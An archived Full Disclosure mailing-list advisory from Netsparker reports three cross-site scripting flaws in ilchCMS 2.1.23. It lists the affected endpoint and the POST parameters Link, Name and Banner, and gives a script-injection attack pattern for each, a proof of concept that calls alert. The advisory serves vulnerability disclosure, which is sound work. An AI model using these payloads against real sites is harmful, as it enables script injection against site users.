lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAKD6+R5gWNsnkF4YNmAfzj7bOj5C+3joxD0L15ASn-8z6EUyeQ@mail.gmail.com> Date: Mon, 4 Nov 2019 11:24:10 +0100 From: Daniel Bishtawi <daniel@...sparker.com> To: fulldisclosure@...lists.org, vuln@...unia.com, bugs@...uritytracker.com, submissions@...ketstormsecurity.org Subject: [FD] Multiple Cross-site Scripting Vulnerabilities in ilchCMS 2.1.23 Hello, We are informing you about the vulnerabilities in ilchCMS 2.1.23. Here are the details: Information -------------------- Advisory by Netsparker Name: Multiple Cross-site Scripting Vulnerabilities in ilchCMS 2.1.23 Affected Software: ilchCMS Affected Versions: 2.1.23 Vendor Homepage: https://www.ilch.de/ Vulnerability Type: Cross-site Scripting Severity: Medium Status: Fixed CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N Netsparker Advisory Reference: NS-19-016 Technical Details -------------------- URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index Parameter Name: Link Parameter Type: Post Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt> URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index Parameter Name: Name Parameter Type: Post Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt> URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index Parameter Name: Banner Parameter Type: Post Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt> Note - Auth: No - Token: Yes For more information: https://www.netsparker.com/web-applications-advisories/ns-19-016-cross-site-scripting-in-ilchcms/ Regards, Daniel Bishtawi Marketing Administrator | Netsparker Web Application Security Scanner Follow us on Twitter <https://twitter.com/netsparker> | LinkedIn <https://www.linkedin.com/company/netsparker-ltd> | Facebook <https://facebook.com/netsparker> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists